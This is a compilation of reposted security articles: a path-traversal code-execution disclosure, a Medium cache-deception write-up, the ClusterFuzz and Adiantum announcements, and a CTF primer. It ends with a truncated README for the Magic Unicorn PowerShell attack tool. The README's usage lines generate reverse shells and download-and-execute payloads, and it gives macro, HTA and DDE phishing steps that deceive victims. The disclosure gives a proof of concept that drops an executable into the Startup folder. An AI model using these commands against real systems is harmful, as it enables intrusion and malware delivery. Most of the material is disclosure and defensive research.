File System and the LeechCore is already somewhat mature with its focus on fast, efficient, multi-threaded live memory acquisition and analysis even though current functionality is somewhat limited. The plan for the near future is to add additional core functionality - such as page hashing and PFN database support. Page hashing will allow for more efficient remote memory acquisition and better forensics capabilities. PFN database support will strengthen virtual memory support in general. Also, additional and more efficient analysis methods - primarily in the form of new plugins will also be added in the medium future. Support for additional operating systems, such as Linux and macOS is a long-term goal. It shall however be noted that the LeechCore library is already supported on Linux. Posted by Ulf Frisk at 2:35 PM Sursa: http://blog.frizk.net/2019/02/remote-live-memory-analysis-with-memory.html

Remote Code Execution via Path Traversal in the Device Metadata Authoring Wizard Lee Christensen Feb 6 Summary Attackers can use the .devicemanifest-ms and .devicemetadata-ms file extensions for remote code execution in phishing scenarios when the Windows Driver Kit is installed on a victim’s machine. This is possible because the Windows Driver Kit installer installs the Device Metadata Authoring Wizard and associates the .devicemanifest-ms and .devicemetadata-ms file extensions with the program DeviceMetadataWizard.exe. When a victim user opens a maliciously crafted .devicemanifest-ms or .devicemetadata-ms file, an attacker can abuse a path traversal vulnerability in DeviceMetadataWizard.exe to place a file in any writeable directory accessible by the victim user. Writing to certain paths can result in arbitrary code execution (e.g. the user’s Startup folder). Technical Details The .devicemanifest-ms and .devicemetadata-ms file extensions are registered on machines where the Device Metadata Authoring Wizard is installed. This application is part of the Windows Driver Kit and is installed by default on the Azure Visual Studio Community template VMs. It may also be installed when certain features are enabled during the Visual Studio installation process. The program DeviceMetadataWizard.exe handles files with this extension, as seen in the screenshot below showing the file extension association in the registry: Underneath, the .devicemanifest-ms and .devicemetadata-ms files are cabinet files. When a user opens one of these files, DeviceMetadataWizard.exe automatically extracts their contents into the current user’s temp folder. DeviceMetadataWizard.exe’s cabinet extraction is vulnerable to path traversal due to concatenation of the temporary directory’s path with file names in the cabinet file. An attacker can create a malicious cabinet file containing a file whose name contains relative path specifiers (e.g. ..\..\..\file.txt). When a victim user clicks on the malicious .devicemanifest-ms or .devicemetadata-ms file and DeviceMetadataWizard.exe opens, DeviceMetadataWizard.exe will automatically extract the cabinet file and the files inside the cabinet archive will be concatenated with the temporary directory’s path. If a file in the cabinet archive contains relative path specifiers, then DeviceMetadataWizard.exe will extract the files to an unintended location. As .devicemanifest-ms and .devicemetadata-ms are not subject to Mark of the Web and therefore not protected by SmartScreen, the file types are candidates for use in targeted phishing attacks. Proof of Concept In cmd.exe: copy C:\windows\system32\cmd.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.exe makecab.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.exe out.devicemanifest-ms Now, in your favorite text/hex editor, open out.devicemanifest-ms and replace the string “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.exe” with “..\..\..\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AAAAAAAAAAAA.exe” Double click on out.devicemanifest-ms Expected Result Upon double clicking out.devicemanifest-ms, the file type should fail to load. All embedded files are safely extracted to the temp folder and deleted upon the exit of DeviceMetadataWizard.exe. Actual Result: Upon double clicking out.devicemanifest-ms, the file fails to load, but DeviceMetadataWizard.exe writes the file “AAAAAAAAAAAA.exe” to the folder C:\users\<user>\appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ AAAAAAAAAAAA.exe. Prevention and Detection Guidance Only users with the Windows Driver Kit installed are affected by this vulnerability (likely developers). Therefore, the overall attack surface is fairly limited. In terms of prevention, it’s very likely that developers do not even use the Device Metadata Authoring Wizard. Therefore, consider removing this tool if it’s not in use. To reduce the impact of this vulnerability on machines where the tool is used, consider removing the .devicemanifest-ms and .devicemetadata-ms file association handlers by deleting the following registry keys: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.devicemetadata-ms HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.devicemanifest-ms Also consider blacklisting the .devicemanifest-ms and .devicemetadata-ms file types using your email and web content filtering appliances. If you have an application whitelisting solution in place, the likelihood of exploitation is greatly decreased as an attacker would need to leverage an application whitelisting bypass in order to gain arbitrary code execution. In terms of host-based detections, baseline the normal behavior of DeviceMetadataWizard.exe in your environment and alert on anomalous file writes. In particular, baseline the typical folders where certain file extensions are written (e.g. is it common for any other file extension besides .devicemanifest-ms and .devicemetadata-ms, to be written outside of the %TEMP% folder?). Disclosure Timeline As committed as SpecterOps is to transparency, we acknowledge the speed at which attackers adopt new offensive techniques once they are made public. This is why prior to publication of a new bug or offensive technique, we regularly inform the respective vendor of the issue, supply ample time to mitigate the issue, and notify select, trusted vendors in order to ensure that detections can be delivered to their customers as quickly as possible. September 25, 2018 — Initial report to MSRC September 27, 2018 — Report acknowledgement received from MSRC and case number assigned October 4, 2018 — MSRC sends email stating they’re investigating how to address the issue. December 18, 2018 — Send email asking for an update. December 18, 2018 — MSRC responds saying they’re still figuring out how to address the issue. December 19, 2018 — MSRC notified that a blog post is written and will be released at the beginning of the year. Replied asking if it will be patched by then. December 19, 2018 — MSRC states it likely won’t be patched by January and asks to review blog post. Holiday break January 21, 2019 — MSRC follows up about the blog post. January 23, 2019 — Responded with blog posts January 23, 2019 — MSRC responds and says it will distribute the post applicable team members. January 30, 2019 — Inform MSRC that of plan to release post on February 6 and ask for if there’s any additional information about the timeline for a patch. January 30, 2019 — MSRC states that the release date should be okay and that they are still actively discussing the issue and will get back to me in 24 hours. January 30, 2019 — MSRC states that they plan to fix the issue in a future version of the Windows Driver Kit, but older versions will remain vulnerable since there is no update mechanism for the Windows Driver Kit. MSRC also states that the Windows Defender team has reviewed the post and is considering mitigation options. Sursa: https://posts.specterops.io/remote-code-execution-via-path-traversal-in-the-device-metadata-authoring-wizard-a0d5839fc54f

httpreplay Replay HTTP and HTTPS requests from a PCAP based on TLS Master Secrets. The TLS Master Secrets can be extracted through mitmproxy, Cuckoo Sandbox, some browsers, and probably some other tools as well. Sursa: https://github.com/hatching/httpreplay

Open sourcing ClusterFuzz Thursday, February 7, 2019 Fuzzing is an automated method for detecting bugs in software that works by feeding unexpected inputs to a target program. It is effective at finding memory corruption bugs, which often have serious security implications. Manually finding these issues is both difficult and time consuming, and bugs often slip through despite rigorous code review practices. For software projects written in an unsafe language such as C or C++, fuzzing is a crucial part of ensuring their security and stability. In order for fuzzing to be truly effective, it must be continuous, done at scale, and integrated into the development process of a software project. To provide these features for Chrome, we wrote ClusterFuzz, a fuzzing infrastructure running on over 25,000 cores. Two years ago, we began offering ClusterFuzz as a free service to open source projects through OSS-Fuzz. Today, we’re announcing that ClusterFuzz is now open source and available for anyone to use. We developed ClusterFuzz over eight years to fit seamlessly into developer workflows, and to make it dead simple to find bugs and get them fixed. ClusterFuzz provides end-to-end automation, from bug detection, to triage (accurate deduplication, bisection), to bug reporting, and finally to automatic closure of bug reports. ClusterFuzz has found more than 16,000 bugs in Chrome and more than 11,000 bugs in over 160 open source projects integrated with OSS-Fuzz. It is an integral part of the development process of Chrome and many other open source projects. ClusterFuzz is often able to detect bugs hours after they are introduced and verify the fix within a day. Check out our GitHub repository. You can try ClusterFuzz locally by following these instructions. In production, ClusterFuzz depends on some key Google Cloud Platform services, but you can use your own compute cluster. We welcome your contributions and look forward to any suggestions to help improve and extend this infrastructure. Through open sourcing ClusterFuzz, we hope to encourage all software developers to integrate fuzzing into their workflows. By Abhishek Arya, Oliver Chang, Max Moroz, Martin Barbella and Jonathan Metzman, ClusterFuzz team Sursa: https://opensource.googleblog.com/2019/02/open-sourcing-clusterfuzz.html

Cache Deception: How I discovered a vulnerability in Medium and helped them fix it Yuval Shprinz Feb 6 I drew that masterpiece myself In my previous post, I tried to demonstrate how powerful and cool reverse engineering Android apps can be. I did this by showing how to modify Medium’s app so all membership-required stories in it would be available for free. Well, there was a bit more to the story :) While working towards my desired goal, I found a large collection of API endpoints that Medium declared in their code, which exposed a neat Cache Deception vulnerability after a short iteration on them. I was especially excited about that find because cache-based attacks are exceptionally awesome, and it could have been a great addition to my story. Unfortunately, it took Medium three months and a couple of reminders to respond, so I had to wait with the public disclosure for a bit. In this post, I will try to explain intuitively what Cache Deception is, describe the bug at Medium, and reference two outstanding articles about cache-based attacks. Cache Deception Web browsers cache servers’ static responses so they won’t need to request them again — saving both time and bandwidth. In a similar principle, servers and CDNs (Content delivery networks, Cloudflare for example) cache responses too (their own responses), so they won’t need to waste time processing them again. Instead of passing to the server a request that the CDN already knows its response to (i.e. a static image), it can return a response immediately to the client and reduce both server load and response time. When servers cache static responses, everyone benefits from it. But what happens when a server caches a non-static response that contains some sensitive information? The server will start serving the cached response to everyone from now on, hence making any sensitive information in it public! So that’s basically what Cache Deception is — making servers cache sensitive data, by exploiting badly configured caching rules. After the sensitive data is cached, an attacker can come back to hoard it, for example. Caching User Profiles Medium uses the library Retrofit to turn their HTTP APIs into Java interfaces for their Android app, so basically every endpoint lies nicely in their code with all of its available parameters specified. I extracted all of them to a list that ended up being about 900 endpoints. Some extracted endpoints That list was a real treasure, so I couldn’t stop myself from spending some time iterating it. Among other things, I looked for URLs that ended with user controlled input, because there is a common miss-configuration of caching services to cache every resource path that looks like a file. Remember, our goal is to find endpoints that both contain sensitive information and are cached by Medium’s servers. So, finding an API endpoint that’s being cached would be great. As it turned out, Medium indeed cached paths that looked like files by default, but only for resources that were right under the root directory of the site, URLs like https://medium.com/niceImage.png. Fortunately, my beautiful list contained one endpoint that held the above requirements — user profile pages. By setting my username to “yuval.png”, my profile page URL became https://medium.com/@yuval.png, and when someone visited it, its response was cached there for a while (4 hours, then the server dropped it). And that was actually the whole bug, setting usernames to end with a file extension -in order to cause profile pages to be cached. What sensitive information can be extracted from cached responses of visits to my profile page? CSRF tokens. Those are embedded in the returned document. (Cross-Site Request Forgery in simple words) Information about who viewed my profile. The currently logged in user can also be extracted from returned documents. The fact that each cached response was there for 4 hours and blocked other responses from being cached wasn’t a problem, because by using a simple script usernames can be changed repeatedly (and generate new URLs that aren’t cached yet). Note that this bug could have also been used by users that were willing to hide the “block user” option on their own profile page, if they repeatedly entered it (again, using a script). This would work because users don’t have the option to block themselves on their own profile and so others wouldn’t have it either when they receive a cached response that was created for the account owner. Report Timeline I sent Medium my report through their bug bounty program, and here’s the timeline: Aug 24 — Sent my initial report, and received an automatic email which said that Medium would try to get back to me within 48 hours. Sep 14 — Checked with them if something wasn’t clear since they hadn’t responded yet. Nov 1 — Issued another message, saying was fine with me if my report got rejected, and asking for a response so I would know they received it. Nov 20 — Response from Medium! apologizing for the delay and rewarding my bug with $100 and a shirt. I guess it took them a while because Cache Deception isn’t the usual kind of bug people report — but I was just hoping for a quick response asking me for more explanation or something. I assumed no one was reading their inbox. P.S. the bug was rewarded only $100 because Medium’s program is small, not because it’s lame :P Cache Based Attacks — Further Readings Cache-based attacks have been known for a long time, but were considered mostly theoretical until the recent publish of two outstanding works by Omer Gil and James Kettle. If you find the subject interesting, don’t miss these: Web Cache Deception Attack — Omer Gil, Feb 2017 While demonstrating it on PayPal, Omer claims the term Cache Deception for this new and amazing attack vector. Practical Web Cache Poisoning — James Kettle, Aug 2018 Cache Poisoning has been known for years, but by publishing his extensive research James made it practical. Check out his follow up article on the subject “Bypassing Web Cache Poisoning Countermeasures” too. See you next time… Yuval Shprinz Cybersecurity hobbyist, university student, Age of Mythology pro Sursa: https://medium.freecodecamp.org/cache-deception-how-i-discovered-a-vulnerability-in-medium-and-helped-them-fix-it-31cec2a3938b

Introducing Adiantum: Encryption for the Next Billion Users February 7, 2019 Posted by Paul Crowley and Eric Biggers, Android Security & Privacy Team Storage encryption protects your data if your phone falls into someone else's hands. Adiantum is an innovation in cryptography designed to make storage encryption more efficient for devices without cryptographic acceleration, to ensure that all devices can be encrypted. Today, Android offers storage encryption using the Advanced Encryption Standard (AES). Most new Android devices have hardware support for AES via the ARMv8 Cryptography Extensions. However, Android runs on a wide range of devices. This includes not just the latest flagship and mid-range phones, but also entry-level Android Go phones sold primarily in developing countries, along with smart watches and TVs. In order to offer low cost options, device manufacturers sometimes use low-end processors such as the ARM Cortex-A7, which does not have hardware support for AES. On these devices, AES is so slow that it would result in a poor user experience; apps would take much longer to launch, and the device would generally feel much slower. So while storage encryption has been required for most devices since Android 6.0 in 2015, devices with poor AES performance (50 MiB/s and below) are exempt. We've been working to change this because we believe that encryption is for everyone. In HTTPS encryption, this is a solved problem. The ChaCha20 stream cipher is much faster than AES when hardware acceleration is unavailable, while also being extremely secure. It is fast because it exclusively relies on operations that all CPUs natively support: additions, rotations, and XORs. For this reason, in 2014 Google selected ChaCha20 along with the Poly1305 authenticator, which is also fast in software, for a new TLS cipher suite to secure HTTPS internet connections. ChaCha20-Poly1305 has been standardized as RFC7539, and it greatly improves HTTPS performance on devices that lack AES instructions. However, disk and file encryption present a special challenge. Data on storage devices is organized into "sectors" which today are typically 4096 bytes. When the filesystem makes a request to the device to read or write a sector, the encryption layer intercepts that request and converts between plaintext and ciphertext. This means that we must convert between a 4096-byte plaintext and a 4096-byte ciphertext. But to use RFC7539, the ciphertext must be slightly larger than the plaintext; a little space is needed for the cryptographic nonce and message integrity information. There are software techniques for finding places to store this extra information, but they reduce efficiency and can impose significant complexity on filesystem design. Where AES is used, the conventional solution for disk encryption is to use the XTS or CBC-ESSIV modes of operation, which are length-preserving. Currently Android supports AES-128-CBC-ESSIV for full-disk encryption and AES-256-XTS for file-based encryption. However, when AES performance is insufficient there is no widely accepted alternative that has sufficient performance on lower-end ARM processors. To solve this problem, we have designed a new encryption mode called Adiantum. Adiantum allows us to use the ChaCha stream cipher in a length-preserving mode, by adapting ideas from AES-based proposals for length-preserving encryption such as HCTR and HCH. On ARM Cortex-A7, Adiantum encryption and decryption on 4096-byte sectors is about 10.6 cycles per byte, around 5x faster than AES-256-XTS. Unlike modes such as XTS or CBC-ESSIV, Adiantum is a true wide-block mode: changing any bit anywhere in the plaintext will unrecognizably change all of the ciphertext, and vice versa. It works by first hashing almost the entire plaintext using a keyed hash based on Poly1305 and another very fast keyed hashing function called NH. We also hash a value called the "tweak" which is used to ensure that different sectors are encrypted differently. This hash is then used to generate a nonce for the ChaCha encryption. After encryption, we hash again, so that we have the same strength in the decryption direction as the encryption direction. This is arranged in a configuration known as a Feistel network, so that we can decrypt what we've encrypted. A single AES-256 invocation on a 16-byte block is also required, but for 4096-byte inputs this part is not performance-critical. Cryptographic primitives like ChaCha are organized in "rounds", with each round increasing our confidence in security at a cost in speed. To make disk encryption fast enough on the widest range of devices, we've opted to use the 12-round variant of ChaCha rather than the more widely used 20-round variant. Each round vastly increases the difficulty of attack; the 7-round variant was broken in 2008, and though many papers have improved on this attack, no attack on 8 rounds is known today. This ratio of rounds used to rounds broken today is actually better for ChaCha12 than it is for AES-256. Even though Adiantum is very new, we are in a position to have high confidence in its security. In our paper, we prove that it has good security properties, under the assumption that ChaCha12 and AES-256 are secure. This is standard practice in cryptography; from "primitives" like ChaCha and AES, we build "constructions" like XTS, GCM, or Adiantum. Very often we can offer strong arguments but not a proof that the primitives are secure, while we can prove that if the primitives are secure, the constructions we build from them are too. We don't have to make assumptions about NH or the Poly1305 hash function; these are proven to have the cryptographic property ("ε-almost-∆-universality") we rely on. Adiantum is named after the genus of the maidenhair fern, which in the Victorian language of flowers (floriography) represents sincerity and discretion. Additional resources The full details of our design, and the proof of security, are in our paper Adiantum: length-preserving encryption for entry-level processors in IACR Transactions on Symmetric Cryptology; this will be presented at the Fast Software Encryption conference (FSE 2019) in March. Generic and ARM-optimized implementations of Adiantum are available in the Android common kernels v4.9 and higher, and in the mainline Linux kernel v5.0 and higher. Reference code, test vectors, and a benchmarking suite are available at https://github.com/google/adiantum Android device manufacturers can enable Adiantum for either full-disk or file-based encryption on devices with AES performance <= 50 MiB/sec and launching with Android Pie. Where hardware support for AES exists, AES is faster than Adiantum; AES must still be used where its performance is above 50 MiB/s. In Android Q, Adiantum will be part of the Android platform, and we intend to update the Android Compatibility Definition Document (CDD) to require that all new Android devices be encrypted using one of the allowed encryption algorithms. Acknowledgements: This post leveraged contributions from Greg Kaiser and Luke Haviland. Adiantum was designed by Paul Crowley and Eric Biggers, implemented in Android by Eric Biggers and Greg Kaiser, and named by Danielle Roberts. Sursa: https://security.googleblog.com/2019/02/introducing-adiantum-encryption-for.html

Over the past couple of weeks I’ve been doing a lot of CTFs (Capture the Flag) - old and new. And I honestly can’t believe what I’ve been missing out on. I’ve learned so much during this time by just playing the CTFs, reading write-ups, and even watching the solutions on YouTube. This allowed me to realize how much I still don’t know, and allowed me to see where the gaps in my knowledge were. One of the CTFs that was particularly interesting to me was the Google CTF. The reason why I really liked Google’s CTF was because it allowed for both beginners and experts to take part, and even allowed people new to CTF’s to try their hands at some security challenges. I opted to go for the beginner challenges to see where my skill level really was at - and although it was “mostly” easy, there were still some challenges that had me banging my head on the desk and Googling like a mad man. Even though the Google CTF was over and solutions were online, I avoided them at all costs because I wanted to learn the “hard way”. These beginner challenges were presented in a “Quest” style with a scenario similar to a real world penetration test. Such a scenario is awesome for those who want to sharpen their skills, learn something new about CTFs and security, while also allowing them to see a real world value and impact. Now, some of you might be wondering… “How much do I need to know or learn to be able to do a CTF?” or “How hard are CTFs? Truth be told, it depends. Some CTFs can be way more complex than other, such as DEFCON’s CTF and even Google’s CTF can be quite complex and complicated - but not impossible! It solely depends on your area of expertise. There are many CTF teams that have people who specialize in Code Review and Web Apps and can do Web Challenges with their eyes closed, but give them a binary and they won’t know there difference between the EIP and ESP. The same goes for others! Sure, there are people who are the “Jack of All Trades” and can do pretty much anything, but that doesn’t make them an expert in everything. After reading this, you might be asking me - But I’ve never done a CTF before! How do I know if I’m ready to attempt one? Honestly, you’ll never be ready! There will always be something new to learn, something new you have never seen before, or something challenging that pushes the limits of your knowledge, even as an expert! That’s the whole point of CTFs. But, there are resources that can help you get started! Let’s start by explaining what a CTF really is! CTF Time does a good job at explaining the basics, so I’m just going to quote them (with some “minor” editing)! Capture the Flag (CTF) is a special kind of information security competitions. There are three common types of CTFs: Jeopardy, Attack-Defense and mixed. Jeopardy-style CTFs has a couple of questions (tasks) in range of categories. For example, Web, Forensic, Crypto, Binary, PWN or something else. Teams compete against each other and gain points for every solved task. The more points for a task, the more complicated the task. Usually certain tasks appear in chains, and can only be opened after someone on the team solves the previous task. Once the competition is over, the team with the highest amount of points, wins! Attack-defense is another interesting type of competition. Here every team has their own network (or only one host) with vulnerable services. Your team has time for patching and usually has time for developing exploits against these services. Once completed, organizers connects participants of the competition to a single network and the wargame starts! Your goal is to protect your own services for defense points and to hack your opponents for attack points. Some of you might know this CTF if you ever competed in the CCDC. Mixed competitions may contain many possible formats. They might be a mix of challenges with attack/defense. We usually don’t see much of these. Such CTF games often touch on many other aspects of security such as cryptography, steganography, binary analysis, reverse engineering, web and mobile security and more. Good teams generally have strong skills and experience in all these issues, or contain players who are well versed in certain areas. LiveOverflow also has an awesome video explaining CTFs along with examples on each aspect - see below! Overall, CTFs are time games where hackers compete agasint eachother (either in teams or alone) to find bugs and solve puzzles to find “flags” which count for points. The team with the most points at the end of the CTF is the winner! Now that we have a general idea of what a CTF is and what it contains, let’s learn how we can get started in playing CTFs! Once again, LiveOverflow has an amazing video explaining why CTF’s are a great way to learn hacking. This video was a live recording of his FSEC 2017 talk that aimed to “motivate you to play CTFs and showcase various example challenge solutions, to show you stuff you hopefully haven’t seen before and get you inspired to find more interesting vulnerabilities”. There are also a ton of resources online that aim to teach you the basics of Vulnerability Discovery, Binary Exploitation, Forensics, and more, such as the following below: CTF Field Guide CTF Resources Endgame - How To Get Started In CTF CONFidence 2014: On the battlefield with the Dragons – G. Coldwind, M. Jurczyk If You Can Open The Terminal, You Can Capture The Flag: CTF For Everyone So You Want To Be a Pentester? <– Shameless plug because of resources! ? Out of all these resources, I believe that CTF Series: Vulnerable Machines is honestly the BEST resources for CTFs. It’s aim is mostly focused on how to approach Vulnerable VM’s like the ones on VulnHub and Hack The Box, but it still gives you a ton of example and resources on how to find certain vulnerabilities, how to utilized given tools, and how to exploit vulnerabilities. As I said time and time again, learning the basics will drastically help improve your CTF skills. Once you get enough experience you’ll start to notice “patterns” in certain code, binaries, web apps, etc. which will allow you to know if a particular vulnerability exists and how it can be exploited. Another thing that can help you prepare for CTFs is to read write-ups on new bugs and vulnerabilities. A ton of Web CTF challenges are based off of these bugs and vulnerabilities or are a variant of them - so if you can keep up with new findings and understand them, then you’re ahead of the curve. The following links are great places to read about new bugs, and vulnerabilities. They are also a good place to learn how other’s exploited known bugs. HINT: These links can also help you get into Bug Bounty Hunting! Hackerone - Hacktivity Researcher Resources - Bounty Bug Write-ups Orange Tsai Detectify Blog InfoSec Writeups Pentester Land - Bug Bounty Writeups The Daily Swig - Web Security Digest Once we have a decent understanding of a certain field such as Web, Crypto, Binary, etc. it’s time we start reading and watching other people’s writeups. This will allow us to gain an understanding on how certain challenges are solved, and hopefully it will also teach us a few new things. The following links are great places to read and watch CTF solutions: CTF Time - Writeups CTFs Github - Writeups, Resources, and more! Mediunm - CTF Writeups LiverOverflow Youtube Gynvael Coldwind Murmus CTF John Hammond Now that you have the basics skills and know a little more about certain topics it’s time we find a CTF! CTF Time is still one of the best resources for looking at upcoming events that you can participate in. You can go through the events and see what interests you! Once you choose something, follow the instruction to register and you’re done! From there, all you need to do is just wait for the CTF to start, and hack away! Okay, seems easy enough - but then again for a first time it’s still overwhelming! So what can we do to make our first CTF experience a good one? Well, that’s where the Google CTF comes in! As I stated before, the reason why I really liked Google’s CTF was because it allowed for both beginners and experts to take part, and even allowed people new to CTF’s to try their hands at some security challenges without adding too much pressure. The Beginner Quest starts off with a little back story to “lighten” the mood and let the player know that, this is just a game. We aren’t competing for a million dollars, so take it easy and have fun! The story is as follows: Once we read the story, we can start with the challenges. These beginner challenges were presented in a “Quest” style based off the story scenario. The quest has a total of nineteen (19) challenges as shown below in the quest map - with each color representing a different category as follows: Purple: Miscellaneous Green: Exploitation/Buffer Overflows & Reverse Engineering Yellow: Reverse Engineering Blue: Web Exploitation If you click on one of the circles then you will go to the respective challenge. The challenge will contain some information, along with either an attachment or a link. From there, try to solve the challenge and find the flag, which is in the CTF{} format. Submitting the correct flag will complete the challenge. Now notice how some of these challenges are “grayed out”. That’s because these challenges are “chained” to one another, meaning that you need to complete the previous one to be able to open the path to the next challenge. Also notice that Google allows you to make choices on what challenge you want to do. They don’t force you to do all of them to get to the END, but give you the ability to pick and choose another path if something is too hard. Thus, making it easier for you to feel accomplishment and to later come back and learn! Alright, that’s it for now. Hopefully you learned something new today and I sincerely hope that the resources will allow you to learn and explore new topics! The posts following this will detail how I solved the 2018 Google CTF - Beginners Quest, so stay tuned and I hope to see you on the CTF battlefield someday! Updated: February 06, 2019 Jack Halon I like to break into things; both physically and virtually. Sursa: https://jhalon.github.io/2018-google-ctf-beginners-intro/

V-ati inscris? Pentru cei care nu stiu despre ce este vorba: 1. Este un concurs de CTF 2. Participa multe tari din Europa 3. Dupa etapa de calificari se vor alege 20-30 de persoane care vor merge la un bootcamp - Un security training de o saptamana cu multe altele (merita!) 4. Dintre acele persoane se vor alege 10 (aproximativ) care vor reprezenta Romania la ECSC Daca la fotbal nu suntem buni si nationala nu joaca nimic de ani, macar la security sa le demnstram tuturor ca ne pricepem.

unicorn Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit. root@rel1k:~/Desktop# python unicorn.py ,/ // ,// ___ /| |// `__/\_ --(/|___/-/ \|\_-\___ __-_`- /-/ \. |\_-___,-\_____--/_)' ) \ \ -_ / __ \( `( __`\| `\__| |\)\ ) /(/| ,._____., ',--//-| \ | ' / / __. \, / /,---| \ / / / _. \ \ `/`_/ _,' | | | | ( ( \ | ,/\'__/'/ | | | \ \`--, `_/_------______/ \( )/ | | \ \_. \, \___/\ | | \_ \ \ \ \ \ \_ \ \ / \ \ \ \._ \__ \_| | \ \ \___ \ \ | \ \__ \__ \ \_ | \ | | \_____ \ ____ | | | \ \__ ---' .__\ | | | \ \__ --- / ) | \ / \ \____/ / ()( \ `---_ /| \__________/(,--__ \_________. | ./ | | \ \ `---_\--, \ \_,./ | | \ \_ ` \ /`---_______-\ \\ / \ \.___,`| / \ \\ \ \ | \_ \| \ ( |: | \ \ \ | / / | ; \ \ \ \ ( `_' \ | \. \ \. \ `__/ | | \ \ \. \ | | \ \ \ \ ( ) \ | \ | | | | \ \ \ I ` ( __; ( _; ('-_'; |___\ \___: \___: aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc= -------------------- Magic Unicorn Attack Vector ----------------------------- Native x86 powershell injection attacks on any Windows platform. Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com) Twitter: @TrustedSec, @HackingDave Credits: Matthew Graeber, Justin Elze, Chris Gates Happy Magic Unicorns. Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py <path_to_payload/exe_encode> crt Custom PS1 Example: python unicorn.py <path to ps1 file> Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500 Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format) Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00) Help Menu: python unicorn.py --help -----POWERSHELL ATTACK INSTRUCTIONS---- Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute. Note that you will need to have a listener enabled in order to capture the attack. -----MACRO ATTACK INSTRUCTIONS---- For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that. If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open() To: Sub AutoOpen() The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme. NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN! -----HTA ATTACK INSTRUCTIONS---- The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious powershell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit. A user must click allow and accept when using the HTA attack in order for the powershell injection to work properly. -----CERUTIL Attack Instruction---- The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim machine through a fake certificate file. To use this attack, simply place an executable in the path of unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished, go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a windows machine to convert it back to a binary. -----Custom PS1 Attack Instructions---- This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro. Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by VBA. You may change the number of characters in each VBA string by passing an integer as a parameter. Examples: python unicorn.py harmless.ps1 python unicorn.py myfile.ps1 macro python unicorn.py muahahaha.ps1 macro 500 The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA. -----DDE Office COM Attack Instructions---- This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object DDEInitilize and DDEExecute allow for formulas to be created directly within Office which causes the ability to gain remote code execution without the need of macros. This attack was documented and full instructions can be found at: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ In order to use this attack, run the following examples: python unicorn.py dde python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde Once generated, a powershell_attack.txt will be generated which contains the Office code, and the unicorn.rc file which is the listener component which can be 